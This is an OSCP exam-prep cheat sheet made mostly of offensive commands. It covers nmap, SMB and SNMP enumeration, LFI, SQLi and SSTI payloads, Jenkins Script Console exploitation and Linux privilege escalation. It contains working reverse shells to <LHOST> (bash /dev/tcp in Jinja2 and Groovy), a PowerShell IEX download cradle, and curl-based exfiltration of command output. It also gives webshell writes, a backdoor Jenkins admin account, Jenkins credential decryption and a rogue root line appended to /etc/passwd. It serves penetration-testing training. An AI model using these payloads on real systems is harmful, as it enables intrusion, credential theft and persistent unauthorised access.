OSCP Guide
A practical, exam-focused map of everything that matters — from your first enumeration scan to the final report.
Browse all sections26 sections · 7 groups
▶ Start here How to use this guide
New to OSCP? Read this first. This page is a map, not a script. The OSCP exam never reuses the exact same box, so memorising commands won't pass you — understanding when and why to run them will. Use it like this:
1. Learn the flow, then the commands. Every section follows the same loop: Enumerate → Find a weakness → Get a foothold → Escalate → Loot → Pivot. Internalise that loop and the individual commands become obvious.
2. Enumeration is 80% of the work. Most students fail not because an exploit is hard, but because they missed something during enumeration. When you feel stuck, you almost always need more enumeration, not a more advanced exploit.
3. Replace the placeholders. Anything in <ANGLE_BRACKETS> is a value you fill in (an IP, a username, a hash). Never paste a command blindly.
4. Build the habit before exam day. Practise this exact methodology on practice boxes (HTB, PG Practice, PEN-200 labs) until it's muscle memory. Stuck for >30 min? Jump to Section 17 — When You're Stuck.
Concepts 101 — Start Here If You're New
The rest of this guide assumes you know the basics. This section builds that foundation from zero — plain English, real-world analogies, and simple diagrams. Once these eight ideas click, every command later will make sense. (Already comfortable? Skip straight to Section 1.)
The eight core concepts
🎯 1. What does "hacking a machine" actually mean?
Your goal is simple: get the computer to run your commands, then become its most powerful user (root on Linux, SYSTEM on Windows). Every box you'll ever attack follows the same five-step loop. Memorise this loop — it's the spine of the entire exam.
In one line each: Enumerate = find everything that's running. Exploit = abuse a weakness to get your first shell. Escalate = go from normal user to admin. Loot = grab passwords & keys. Pivot = use this machine to reach the next one.
🌐 2. IP addresses & ports
An IP address (like 10.10.10.5) is a computer's address on the network — how you find it. A port is a numbered doorway on that computer. Each open port runs one service (a program waiting for connections). Hacking starts by knocking on every door to see which are open and what's behind them.
💬 3. Client & server — how machines talk
A server is a program that waits and answers requests (a website, a database). A client is whoever asks (your browser, a tool). When you open a site, your browser (client) asks the web server on port 80/443, and the server replies. Almost every service you'll attack is a server waiting for input — and bad input is how you break in.
🐚 4. What is a "shell"?
A shell is just a command line on the target machine — once you have one, you can type commands the victim computer will run. Getting that first shell = your foothold. The most common type is a reverse shell: instead of you connecting in (firewalls block that), you trick the target into connecting out to you.
🖥️ 5. Linux vs Windows — the two worlds
OSCP boxes are either Linux or Windows, and the "god user" is named differently on each. Everything else — the loop — stays the same.
| Area | Linux | Windows |
|---|---|---|
| Top admin user | root | SYSTEM / Administrator |
| You'll often start via | a web app on port 80 | SMB (445), RDP, or AD creds |
| Where passwords hide | /etc/shadow, config files | SAM, LSASS memory, AD database |
| Privilege-escalation hunt | sudo, SUID, cron | tokens, services, AD misconfigs |
The AD (Active Directory) set is just multiple Windows machines managed by one central server. Own that server and you own them all — covered fully in Section 5.
🔑 6. Linux file permissions (rwx)
On Linux, every file says who can read, write, and execute it — split into three groups: the owner, the group, and everyone else. Misconfigured permissions (e.g. a root-owned script you can write to) are a classic way to escalate to root.
#️⃣ 7. What is a hash?
Systems never store your real password — they store a hash: a scrambled fingerprint of it. Hashing is one-way: easy to turn "password123" into a hash, practically impossible to turn the hash back into "password123". So "cracking" doesn't reverse anything — you guess millions of passwords, hash each guess, and look for a match.
hashcat.Two routes you'll use constantly: steal a hash → crack it offline (fast, silent); or steal a hash → just log in with the hash itself on Windows (Pass-the-Hash — no cracking needed). Both are in Section 9.
🚀 8. You're ready — here's the map
That's the whole foundation. From here, the guide just applies the loop in detail: Section 2 teaches enumeration (finding the doors), Sections 3–4 attack standalone Linux/Windows boxes, Section 5 is the Active Directory chain, and the rest are specialist tools (pivoting, password attacks, shells). Whenever a word confuses you, the Glossary (Section 16) has it in plain English, and if you freeze, Section 17 tells you what to do.
Exam Structure & Strategy
OSCP is a 24-hour hands-on hacking exam, not a multiple-choice test. You get 6 machines: 3 standalone boxes + 1 Active Directory set of 3 machines. You must hack into them and prove it by capturing flag files (local.txt and proof.txt).
You need 70 / 100 points to pass. After the 24-hour hacking window, you get a second 24 hours to write a professional report documenting exactly how you broke in. No report = automatic fail, even with 100 points.
Strategy that passes: do the AD set first (40 guaranteed points if you follow the chain), then pick off standalones. The point breakdown below shows exactly where every point comes from.
No bonus points anymore. The old "10 bonus points for 80% lab completion" scheme ended with the Nov 2024 OSCP+ format change — 70/100 must be earned live on exam day, full stop.
OSCP vs OSCP+: passing today awards you both — OSCP (lifetime credential, the name recruiters recognise) and OSCP+ (same cert, but expires after 3 years unless renewed via CPEs, a recert exam, or another qualifying OffSec cert). Keep this in mind for long-term career planning — don't let it lapse quietly.
Point Breakdown
Time Strategy (23h 45min)
Hour 0-0:30 Setup: VPN, loot dirs, /etc/hosts, nmap ALL targets in parallel
Hour 0:30-4 ATTACK AD SET FIRST — 40 pts guaranteed path
├── Enumerate with provided creds (BloodHound, nxc, LDAP)
├── Low-hanging fruit: Kerberoast, AS-REP, descriptions, shares
├── Lateral MS01 → MS02 → DC
└── Screenshot every proof immediately
Hour 4-8 Standalone Box 1 (pick easiest from nmap)
Hour 8-13 Standalone Box 2
Hour 13-18 Standalone Box 3
Hour 18-22 Revisit stuck machines with fresh eyes
Hour 22-23 Final screenshots, verify all proofs, report notes
Minimum Pass Scenarios — Straight From OffSec's Exam Guide
These four are the exact scenarios OffSec's exam guide publishes — not approximations. Every combination of AD points + standalone flags that adds up to 70 is technically fine, but these are the ones OffSec itself calls out, so treat them as the canonical pass paths.
In practice, aim well above 70 — a single missed screenshot or a proof read the wrong way zeroes an entire machine's points, and you won't find out until results day. Scenario 1 is the most forgiving: it needs zero privesc on standalones, just full AD + three low-priv shells.
Metasploit Rule
✓ msfvenom → payload generation only — use freely on ALL machines
✓ multi/handler → catching your own shells — use freely on ALL machines
✓ Metasploit modules → Auxiliary/Exploit/Post + Meterpreter → EXACTLY 1 target machine, your choice
✗ Metasploit modules → locked in once used — CANNOT touch a 2nd machine (even if it fails)
✗ Metasploit → CANNOT be used for pivoting (counts as touching another host)
✗ "check" command → do NOT test/check exploits on multiple boxes before picking your one target
✓ Manual exploits → unlimited, on every machine
Full wording: Section 19 — Exam Rules & Restrictions.
↑ Back to topUniversal Enumeration Framework
Enumeration = finding doors before you try to kick them in. The goal here is to build a complete picture of the target: what ports are open, what software is running, and what versions. Each open port is a potential way in.
The #1 student mistake: running one quick nmap scan, seeing port 80, and tunnel-visioning on the website for 3 hours — while the real foothold was a forgotten anonymous FTP on port 21. Scan everything (all 65,535 ports + UDP top 20) before you commit to any one path.
Golden rule: for every service you find, ask three questions — What version is it? Are there known exploits (searchsploit)? Can I log in with default/blank/anonymous creds?
Initial Recon — Run in Parallel
# Setup workspace
mkdir -p ~/exam/{ad,box1,box2,box3}/{scans,loot,exploits,screenshots}
# Parallel quick scans on ALL targets:
for ip in <MS01_IP> <MS02_IP> <DC_IP> <BOX1_IP> <BOX2_IP> <BOX3_IP>; do
nmap -sV --open -T4 $ip -oN ~/exam/scans/quick_$ip.txt &
done; wait
# Full TCP per machine:
nmap -p- -sV -sC --open -T4 <TARGET_IP> -oN full_tcp.txt
# UDP top 20 — DON'T SKIP (SNMP/TFTP/DNS often critical):
nmap -sU --top-ports 20 <TARGET_IP> -oN udp.txt
Use this as a crib sheet. Left = the command. Middle = what it really does. Right = the exact situation that should make you reach for it. If you ever ask "should I run this?", find it here first.
| Command | What it does | When & why you run it |
|---|---|---|
| mkdir -p ~/exam/… | Builds your folder tree (scans / loot / exploits / screenshots per target). | First 5 minutes, before anything else. Everything lands in a predictable place, so at hour 20 you can find evidence and screenshots instantly. |
| nmap -sV --open -T4 | Version-detects services on open ports, aggressive timing. | Your first pass, run across all 6 boxes in parallel, to learn where the doors are. --open hides closed-port noise. |
| -oN <file> | Saves scan output to a text file. | Always. You will grep it later, re-read the banners, and paste it into the report as evidence. |
| nmap -p- -sV -sC | Scans all 65,535 TCP ports + default NSE scripts. | The "did I miss a port?" scan. OSCP hides footholds on high ports (8080, 3000, 2112, 33414). Skipping this is the #1 way people get stuck. |
| -p- / -sC / -T4 | All ports / default scripts / faster timing. | -p- when you suspect a hidden service; -sC for quick banner + vuln scripts (smb-vuln*, http-title, anonymous FTP); -T4 on reliable lab targets (drop to -T2 if scans time out). |
| nmap -sU --top-ports 20 | UDP scan of the 20 most common UDP ports. | Never skip. SNMP(161), TFTP(69), NTP(123) and DNS(53) leak creds, users and configs — and almost nobody scans UDP. |
| -Pn | Treat the host as up; skip ICMP discovery. | When ping fails but the box is scored — OSCP targets often block ICMP. Without -Pn you'll wrongly conclude the machine is down. |
Port → Action Decision Table
| Port | Service | Immediate Action |
|---|---|---|
| 21 | FTP | ftp <IP> (try anonymous:anonymous); check version → searchsploit |
| 22 | SSH | Note version; use creds found later; id_rsa files? |
| 25 | SMTP | smtp-user-enum; check open relay |
| 53 | DNS | dig axfr @<IP> <domain>; dnsrecon zone transfer |
| 80/443 | HTTP/S | → Full web enumeration workflow below |
| 88 | Kerberos | AD confirmed! AS-REP roast immediately |
| 111 | RPC/NFS | showmount -e <IP>; mount + explore |
| 139/445 | SMB | → SMB enumeration section below |
| 161 UDP | SNMP | snmpwalk -c public -v1; onesixtyone brute |
| 389/636 | LDAP | ldapsearch anonymous; AD enumeration |
| 1433 | MSSQL | → Full MSSQL section (Section 7) |
| 3306 | MySQL | mysql -u root -h <IP> (blank/default pass) |
| 3389 | RDP | Check ms17-010, BlueKeep; use creds |
| 5985 | WinRM | evil-winrm -i <IP> -u user -p pass |
| 8080/8443 | Alt-HTTP | Tomcat (/manager) · Jenkins (/manage → Script Console = RCE) · Weblogic · check X-Jenkins header |
OffSec's exam guide names SQLmap explicitly under "Automatic exploitation tools" — same bucket as db_autopwn / SQLninja. Every sqlmap command below (and elsewhere in this guide/checklist) is great for bug bounty, labs, and HTB — but on exam day it will score you zero points for that target. On the exam, do the SQLi manually (union-based, boolean/time-blind — see the manual payloads below) or via Burp Free. Full restriction list is in Section 19.
Web Enumeration Workflow
# 1. Tech fingerprint
whatweb http://<TARGET_IP> -v
curl -I http://<TARGET_IP>
nikto -h http://<TARGET_IP> -output nikto.txt &
# 2. Directory brute force
gobuster dir -u http://<TARGET_IP> \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt \
-x php,html,txt,asp,aspx,jsp -t 50 -o gobuster.txt
feroxbuster -u http://<TARGET_IP> \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-x php,html,txt,aspx -t 100 --depth 3 -o ferox.txt
# 3. Always manually check:
curl http://<TARGET_IP>/robots.txt
curl http://<TARGET_IP>/.git/HEAD
curl http://<TARGET_IP>/.env
curl http://<TARGET_IP>/backup/
curl http://<TARGET_IP>/config.php
view-source:http://<TARGET_IP>/ # HTML comments!
# 4. VHost enumeration:
gobuster vhost -u http://<DOMAIN> \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
--append-domain -t 50 -o vhosts.txt
# 5. CMS-specific:
wpscan --url http://<TARGET_IP> --enumerate u,p,t,cb,dbe --plugins-detection aggressive
joomscan -u http://<TARGET_IP>
# 6. Parameter fuzzing:
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-u "http://<TARGET_IP>/page.php?FUZZ=test" -fs 0 -mc 200,301,302,500
SMB Enumeration
# Unauthenticated:
smbclient -L //<TARGET_IP> -N
smbmap -H <TARGET_IP> -u '' -p ''
nxc smb <TARGET_IP> -u '' -p '' --shares
nmap --script smb-vuln* -p 445 <TARGET_IP>
# Authenticated:
nxc smb <TARGET_IP> -u user -p pass --shares --users --groups --pass-pol
smbmap -H <TARGET_IP> -u user -p pass -R
smbclient //<TARGET_IP>/share -U 'user%pass'
# Download all files recursively:
smbclient //<TARGET_IP>/SHARE -U 'user%pass' -c 'recurse ON; prompt OFF; mget *'
nxc smb <TARGET_IP> -u user -p pass -M spider_plus
SNMP Enumeration
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt <TARGET_IP>
snmpwalk -c public -v2c <TARGET_IP> 1.3.6.1.2.1.25.4.2.1.2 # Running processes
snmpwalk -c public -v2c <TARGET_IP> 1.3.6.1.2.1.25.6.3.1.2 # Installed software
snmpwalk -c public -v2c <TARGET_IP> 1.3.6.1.4.1.77.1.2.25 # Windows users
snmp-check <TARGET_IP> -c public
Every port in the decision table has one "first move". This expands each of those moves and every tool used in the web, SMB and SNMP blocks above — so you know why the table says what it says.
| Command | What it does | When & why you run it |
|---|---|---|
| ftp <IP> (anonymous:anonymous) | Logs into FTP with the anonymous account. | Port 21, first move. Anonymous read = files that often contain creds; anonymous write into a webroot = instant webshell. Free footholds live here. |
| smtp-user-enum | Asks the mail server to verify usernames (VRFY/EXPN/RCPT). | Port 25. Gives you a real username list for password spraying when AD is not in play. |
| dig axfr @<IP> <domain> / dnsrecon | Attempts a DNS zone transfer. | Port 53. A misconfigured DNS dumps every hostname and subdomain at once — a free map of the internal network. |
| showmount -e <IP> + mount | Lists NFS exports, then mounts one locally. | Port 111/2049. World-readable exports leak files; no_root_squash exports let you drop a SUID-root binary. |
| snmpwalk -c public -v2c <IP> <OID> | Reads SNMP data: running processes, installed software, users. | Port 161 UDP. Leaks usernames, paths and software versions you can't get any other way. Try community strings public, private, community. |
| onesixtyone -c snmp.txt <IP> | Brute-forces SNMP community strings. | When public fails but the port is open — a custom community string is still a way in. |
| ldapsearch (anonymous) | Reads the directory without creds. | Ports 389/636. Confirms the domain name and often dumps users/descriptions before you have any account. |
| mysql -u root -h <IP> | Connects to MySQL with blank/default creds. | Port 3306. Blank root or root:root is still common on lab boxes — instant DB (and sometimes FILE→RCE). |
| evil-winrm -i <IP> -u -p / -H | Opens an interactive PowerShell shell over WinRM. | Ports 5985/5986 and you have creds or an NTLM hash. The cleanest, most stable Windows shell in the exam. |
| whatweb -v / curl -I | Fingerprints the web stack and reads response headers. | First thing on any web port. Knowing it's WordPress vs Jenkins vs Tomcat vs a custom PHP app decides your entire approach. |
| nikto -h <IP> | Runs a broad misconfiguration/vuln scan against a web server. | Early web recon. Noisy but allowed; surfaces backup files, missing headers and outdated apps you'd otherwise brute-force for. |
| gobuster dir / feroxbuster | Brute-forces directories and files. | After fingerprinting. Finds admin panels, upload dirs and backups. feroxbuster recurses automatically and is faster on OSCP-friendly targets. |
| -x php,html,aspx,jsp | Adds file extensions to the brute-force. | Match the stack: php for LAMP, aspx for IIS, jsp for Tomcat. Wrong extensions = missed files. |
| curl /.git/HEAD, /.env, /robots.txt, /backup/ | Manually checks for source, secrets and backups. | Highest-ROI web checks. .git and .env leak source and credentials; robots.txt points at "hidden" paths; backups contain old configs. |
| gobuster vhost | Fuzzes the Host: header for virtual hosts. | One IP can serve several sites; the real target is often hidden on a vhost. Add any hit to /etc/hosts and re-browse. |
| wpscan / joomscan | Enumerates CMS version, plugins, themes and users. | When the fingerprint says WordPress/Joomla. An outdated plugin is usually the fastest path to RCE on CMS boxes. |
| ffuf -u "…?FUZZ=test" | Fuzzes parameters/values and filters by response size. | When a page clearly runs on user input. Finds hidden parameters (debug, admin, file) and potential injection points. |
| smbclient -L //<IP> -N | Lists SMB shares with no credentials. | Port 445. Null-session share listing is a 2-second check that sometimes hands you a readable share full of creds. |
| smbmap -H <IP> -u '' -p '' | Maps SMB shares and your access level to each. | Same moment as smbclient — smbmap shows permission (READ/WRITE) per share, so you instantly know what you can grab. |
| nxc smb … --shares --users | Enumerates shares/users/groups/password policy with creds. | Once you have any credential. One command replaces five smaller tools, and --pass-pol tells you the lockout policy before you spray. |
| nmap --script smb-vuln* | Checks SMB for known vulns (MS17-010, etc.). | Against old Windows hosts. A positive MS17-010 is a one-shot SYSTEM — never ignore it. |
Standalone Linux Box Methodology
A "standalone box" is one machine to fully own — get a shell, then escalate to root. Most Linux boxes are cracked through a web app on port 80/443, so that's usually where you start. The web attacks below are the common ways in: find the flaw, get code execution, land a shell.
The loop never changes: enumerate the web app → spot a weakness (file upload, LFI, SQLi, known CVE) → turn it into a reverse shell → then run the PrivEsc checklist further down to become root.
Linux Web Attack Techniques
LFI / Local File Inclusion
# Basic traversal:
/page.php?file=../../../../etc/passwd
/page.php?file=../../../../etc/shadow
/page.php?file=/proc/self/environ
# PHP wrappers:
/page.php?file=php://filter/convert.base64-encode/resource=config.php
# Decode: echo '<BASE64>' | base64 -d
# Log Poisoning → RCE:
# Step 1: Inject PHP into Apache log via User-Agent:
curl -A '<?php system($_GET["cmd"]); ?>' http://<TARGET_IP>/
# Step 2: Include log file:
/page.php?file=/var/log/apache2/access.log&cmd=id
# SSH log poisoning:
ssh '<?php system($_GET["cmd"]); ?>'@<TARGET_IP>
/page.php?file=/var/log/auth.log&cmd=whoami
SQL Injection
# Manual test: ' OR '1'='1'-- -
# UNION read:
' UNION SELECT 1,load_file('/etc/passwd'),3-- -
# File write:
' UNION SELECT 1,"<?php system($_GET['cmd']); ?>",3 INTO OUTFILE '/var/www/html/cmd.php'-- -
# sqlmap:
sqlmap -u "http://<IP>/login.php" --data="user=admin&pass=x" --level=5 --risk=3 --dbs
sqlmap -u "http://<IP>/item?id=1" --os-shell
SSTI — Server-Side Template Injection
# Detection probes:
{{7*7}} → 49 = Jinja2/Twig
${7*7} → 49 = FreeMarker/Mako
<%= 7*7 %> → 49 = ERB (Ruby)
# Jinja2 RCE:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/<LHOST>/4444 0>&1"').read()}}
# Twig RCE:
{{['id']|filter('system')}}
RFI — Remote File Inclusion
# Requires: allow_url_include=On in php.ini
echo '<?php system($_GET["cmd"]); ?>' > shell.txt
python3 -m http.server 80
/page.php?file=http://<LHOST>/shell.txt&cmd=id
Blind SQLi — Time-Based
# Detection (3s delay = vulnerable):
http://target/page.php?id=1' AND IF(1=1,sleep(3),'false')-- -
sqlmap -u "http://<IP>/page.php?id=1" --technique=T --level=3 --dbs
.git Exposed → Credential Chain
curl http://<TARGET>/.git/HEAD # confirm exposed
git-dumper http://<TARGET>/.git ./repo
cd repo
git log --oneline
git show <COMMIT_HASH> # deleted creds often here
git diff HEAD~1 HEAD
Exiftool — Metadata → Usernames
exiftool *.jpg *.docx *.pdf 2>/dev/null | grep -i "author\|creator\|owner"
# Username found? Try as password on ALL services!
Archive / ZIP Cracking
zip2john protected.zip > zip.hash
john zip.hash --wordlist=/usr/share/wordlists/rockyou.txt
office2john file.xlsx > office.hash
john office.hash --wordlist=rockyou.txt
binwalk -e suspicious_file # extract embedded files
MySQL UDF RCE (root creds + FILE priv)
# Check:
SELECT user, file_priv FROM mysql.user;
SHOW variables LIKE 'plugin_dir';
# Compile malicious UDF .so → upload → CREATE FUNCTION → system()
# If MySQL local-only → SSH tunnel first:
ssh -L 3306:127.0.0.1:3306 user@<TARGET_IP>
mysql -u root -h 127.0.0.1 -P 3306 -p
Command Injection
# Test chars: ; | || && & ` $() \n %0a
ping=127.0.0.1; whoami
ping=127.0.0.1|whoami
ping=127.0.0.1`whoami`
# URL encoded semicolon: %3B
# Blind (OOB):
ping=127.0.0.1; curl http://<LHOST>/?x=$(id|base64)
File Upload Bypass
# 1. MIME: Change Content-Type to image/jpeg
# 2. Magic bytes: GIF89a prepend
# 3. Double ext: shell.php.jpg, shell.php%00.jpg
# 4. Case: shell.pHp, shell.PHP
# 5. Alt ext: .php3 .php4 .php5 .phtml .phar .shtml
# 6. Null byte (older): shell.php%00.gif
Jenkins — Script Console RCE, CLI CVE & Credential Loot
Jenkins is a build/CI server — running code is literally its job. That's what makes it so juicy: once you reach the built-in Script Console, you get Groovy code execution with no exploit at all, running as the Jenkins service account (often local admin on the box). It normally lives on port 8080 (sometimes 8081/8443), so it hides behind the same "http-alt" port you might dismiss.
The three exam paths, in order of ease: (1) no auth / weak auth → Script Console → Groovy reverse shell; (2) credentials found elsewhere reused on Jenkins → same console; (3) a known version CVE (Stapler/job RCE, or the CLI arbitrary-file-read) when the console is locked down. Then loot: Jenkins stores credentials for other systems, which usually unlock the next machine.
Always read the version first — the response header X-Jenkins hands it to you, and the version decides which CVE applies.
# ── 1. Identify Jenkins + exact version ──────────────────────
curl -s http://<IP>:8080/ | grep -i jenkins
curl -sI http://<IP>:8080/ | grep -i "X-Jenkins" # → X-Jenkins: 2.441
curl -s http://<IP>:8080/login | head # login form? or open dashboard?
# ── 2. Auth checks (fast, high value) ────────────────────────
# • /dashboard/ or /manage loads with NO login → unauthenticated
# • Try defaults: admin:admin, admin:password, jenkins:jenkins, root:root
# • Reuse ANY creds you found elsewhere (web.config, SMB, descriptions)
# ── 3. THE money endpoint — Script Console (needs admin) ─────
# Browse: http://<IP>:8080/manage → "Script Console"
# Direct: http://<IP>:8080/script
# Other useful admin pages: /systemInfo /asynchPeople /credentials /computer/(master)/
// Prove RCE quickly (read a file / run a command):
println "id".execute().text
println new File("/etc/passwd").text
// Linux reverse shell (paste into Script Console, then Run):
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<LHOST>/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
// Windows Jenkins — pull a PowerShell cradle:
"powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://<LHOST>/rev.ps1')".execute()
// Create a backdoor admin account (persistence), then log in normally:
import jenkins.model.*
import hudson.security.*
def r = Jenkins.instance.securityRealm
r.createAccount("svc_backup", "P@ssw0rd123!")
Jenkins.instance.save()
# ── 4. Jenkins CLI — file read & legacy RCE paths ────────────
# Download the CLI that matches the server:
wget http://<IP>:8080/jnlpJars/jenkins-cli.jar
# Authed use (modern Jenkins wants an API token, not the password):
java -jar jenkins-cli.jar -s http://<IP>:8080/ -auth admin:<API_TOKEN> help
# CVE-2024-23897 — CLI arbitrary file read (Jenkins ≤ 2.441 / LTS ≤ 2.426.2):
# The CLI's "@<file>" argument syntax reads local server files.
java -jar jenkins-cli.jar -s http://<IP>:8080/ help "@<file>"
# Target the juicy files:
# /var/lib/jenkins/secrets/initialAdminPassword
# /var/lib/jenkins/credentials.xml
# /var/lib/jenkins/secrets/master.key
# /var/lib/jenkins/secrets/hudson.util.Secret
# (Unauthenticated = first 3 lines of the file; with any valid creds = full read.)
# ── 5. Loot Jenkins — credentials for the NEXT machine ───────
# After ANY shell on the Jenkins host:
cat $JENKINS_HOME/credentials.xml # encrypted blobs
cat $JENKINS_HOME/secrets/hudson.util.Secret
cat $JENKINS_HOME/secrets/master.key
cat $JENKINS_HOME/users/*/config.xml # user password hashes
# Decrypt credentials.xml (public tool: jenkins-credentials-decryptor):
python3 jenkins_credentials_decryptor.py \
-m $JENKINS_HOME/secrets/master.key \
-s $JENKINS_HOME/secrets/hudson.util.Secret \
-c $JENKINS_HOME/credentials.xml
# ── 6. If you can edit a job but not the console ─────────────
# Jenkins → a job → Configure → Build Steps → "Execute shell" → Run build
# → your command runs as the Jenkins service account.
| Command / step | What it does | When & why |
|---|---|---|
| curl -sI … | grep X-Jenkins | Reads the exact Jenkins version from a response header. | First thing on port 8080. The version tells you whether CVE-2024-23897 / CVE-2018-1000861 apply. |
| Open /manage or /script with no login | Checks if the instance is unauthenticated. | Milliseconds to test and, if it works, it's an instant RCE — check before anything fancy. |
| Default creds (admin:admin, …) | Tries well-known Jenkins logins. | Right after the no-auth check. Lab/legacy Jenkins very often has never changed the admin password. |
| Script Console Groovy `"id".execute()` | Runs an OS command through the Jenkins console. | Confirms admin access = code execution, with zero exploit required. Then swap in the reverse shell. |
Groovy /dev/tcp reverse shell | Opens a shell as the Jenkins service account. | Your foothold. From here run linpeas/the Windows checklist — the account is frequently local admin. |
| createAccount() Groovy | Adds a normal Jenkins admin user. | Persistence / a way back in if your shell dies. Good for the report's "impact" section. |
| jenkins-cli.jar -auth user:token | Talks to Jenkins over its CLI. | When the web console is restricted but the CLI port (50000) is reachable, or for scripted jobs. |
| CLI "@<file>" (CVE-2024-23897) | Reads arbitrary files on the Jenkins server. | When you have no admin but the version is vulnerable. Read credentials.xml, master.key, initialAdminPassword → escalate to admin. |
| Decrypt credentials.xml | Turns Jenkins-stored secrets into plaintext. | After any shell or file read. These are other systems' credentials — the classic Jenkins → next-machine pivot. |
| Job → "Execute shell" build step | Runs your command as the Jenkins user. | When you can edit jobs but not reach the Script Console — same result, different door. |
| Known RCE CVEs | Pre-auth RCE via Jenkins internals. | When everything above is locked. CVE-2018-1000861 (Stapler, <2.138/LTS<2.150.1), CVE-2019-1003000 (sandbox bypass). Search searchsploit jenkins for the exact version. |
Remember the order: identify version → test no-auth/default creds → Script Console RCE → loot credentials → pivot. Don't jump straight to a CVE if the console is open — that's the exam's easiest free win.
Chained Attack Patterns — Standalone (Real OSCP Scenarios)
Linux Privilege Escalation Checklist
Privilege escalation = you're already inside as a normal user; now you want to become root. You're hunting for one mistake the admin made. The four most common on OSCP boxes, in order of frequency:
1. Sudo rights — sudo -l shows commands you can run as root. Look each one up on GTFOBins. 2. SUID binaries — programs that run as their owner (often root); again, check GTFOBins. 3. Cron jobs — scripts root runs on a schedule that you can edit. 4. Credentials lying around — config files, .bash_history, database passwords reused for the root account.
Always run an automated enumerator first (linpeas.sh), but never only rely on it — read the output and verify the RED/YELLOW findings manually. linpeas finds clues; you connect them.
# STEP 1: Run linpeas immediately
curl http://<LHOST>/linpeas.sh | bash 2>/dev/null | tee /tmp/lp.out
# Look for RED/YELLOW highlights first
# ── Context ──────────────────────────────────────────────────
whoami && id && hostname
uname -a && cat /etc/os-release
env | grep -i "pass\|key\|secret\|token"
cat ~/.bash_history; cat /home/*/.bash_history 2>/dev/null
# ── Sudo ─────────────────────────────────────────────────────
sudo -l
# NOPASSWD → check GTFObins immediately!
# Common: sudo find . -exec /bin/bash \; -p
# sudo python3 -c 'import os; os.system("/bin/bash")'
# sudo vim → :!/bin/bash
# ── SUID ─────────────────────────────────────────────────────
find / -perm -4000 -type f 2>/dev/null | xargs ls -la
# Each result → GTFObins
# ── Capabilities ─────────────────────────────────────────────
getcap -r / 2>/dev/null
# cap_setuid+ep → python3 -c "import os; os.setuid(0); os.system('/bin/bash')"
# ── Cron Jobs ────────────────────────────────────────────────
cat /etc/crontab; ls -la /etc/cron.d/ /etc/cron.hourly/
# Writable script run as root → append revshell
# Wildcard (tar/rsync) → wildcard injection
# ── Writable /etc/passwd ─────────────────────────────────────
openssl passwd -1 haxpass
echo 'hax:$1$HASH:0:0:root:/root:/bin/bash' >> /etc/passwd
su hax
# ── NFS no_root_squash ───────────────────────────────────────
cat /etc/exports
# If: /share *(rw,no_root_squash) →
# On ATTACKER (as root):
mkdir /mnt/nfs && mount -t nfs <TARGET_IP>:/share /mnt/nfs
cp /bin/bash /mnt/nfs/ && chmod +s /mnt/nfs/bash
# On VICTIM:
/tmp/bash -p # → ROOT
# ── Docker group ─────────────────────────────────────────────
id | grep docker
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# ── Internal services ────────────────────────────────────────
ss -tlnp # local-only → port forward → exploit
# ── glibc / Looney Tunables (CVE-2023-4911) ──────────────────
# Common on newer Ubuntu 22.04/23.x, Debian 12, Fedora — check version:
ldd --version # glibc 2.34–2.39 vulnerable
# If vulnerable, download exploit-nation's PoC and run:
python3 exploit.py
Linux PrivEsc Decision Tree
The web attacks, decoded. Each row tells you what the command/payload does and the exact signal that should make you use it.
| Command / payload | What it does | When & why you run it |
|---|---|---|
| ?file=../../../../etc/passwd | Tries path traversal on a file/include parameter. | First test on any ?file=, ?page=, ?lang= param. If you can read /etc/passwd, you have LFI and a dozen follow-ups. |
| php://filter/convert.base64-encode | Reads a PHP file's source instead of executing it. | When you want to see code (hardcoded DB passwords) that normal LFI would execute and hide. Decode the base64 result. |
| Log poisoning (curl -A '<?php …' then include the log) | Writes PHP into the web server log, then includes that log to run it. | When LFI can reach a log file you can write to (Apache access.log, SSH auth.log). Turns "I can read files" into RCE. |
| /proc/self/environ | Reads the web process environment. | Some setups copy the User-Agent into this file — a log-poisoning variant that works when logs are blocked. |
| ' OR '1'='1'-- - | Classic authentication-bypass SQLi. | Always test it on the first login form and every numeric parameter before reaching for anything fancier. |
| UNION SELECT … load_file() | Reads server files through the database. | Confirmed SQLi + the DB user has FILE privilege. Reads /etc/passwd, app configs, SSH keys. |
| … INTO OUTFILE '/var/www/html/cmd.php' | Writes a webshell to the webroot via the database. | When you know the webroot path and the DB can write files. Straight from SQLi to a shell. |
| sqlmap | Automates SQL injection detection/exploitation. | Labs/bounty only — banned on the real OSCP exam. On exam day do it manually (union + blind boolean/time). |
| {{7*7}} / ${7*7} / <%= 7*7 %> | Template-injection probes for Jinja2 / FreeMarker / ERB. | Any field that echoes your input back (name, email, subject). 49 = SSTI = usually RCE. |
Jinja2 __globals__['os'].popen() | Runs OS commands through the template engine. | After an SSTI hit on a Flask/Jinja2 app with no sandbox. Your path from input field to shell. |
| RFI: ?file=http://<LHOST>/shell.txt | Includes a file you host remotely. | Only when allow_url_include=On. If it works it's instant RCE — but it's rare, so test it after plain LFI. |
| AND IF(1=1,sleep(3),…) | Time-based blind SQLi detection. | When nothing is reflected back and you can't see errors — a 3-second delay confirms the injection. |
| git-dumper + git log/show/diff | Downloads an exposed .git and inspects its history. | Whenever /.git/HEAD responds. Passwords deleted in a later commit still live in history — a very common OSCP win. |
| exiftool (grep author/creator) | Reads document/image metadata. | On any uploaded files or docs you find. Author/owner names become usernames to spray. |
| zip2john / office2john + john | Extracts a crackable hash from a protected archive/office file. | When you find a password-protected file. Crack offline; the password is often reused for a service login. |
| binwalk -e | Extracts embedded/hidden files from a single file. | Suspicious binaries/images — embedded archives often hold creds. |
| MySQL UDF RCE | Uploads a malicious DB plugin that runs OS commands. | You have MySQL root + FILE + a writable plugin_dir. Turns DB access into a shell. |
| ssh -L 3306:127.0.0.1:3306 | Forwards a local-only port to your machine. | When a service only listens on 127.0.0.1 (see ss -tlnp) — tunnel it out, then attack it. |
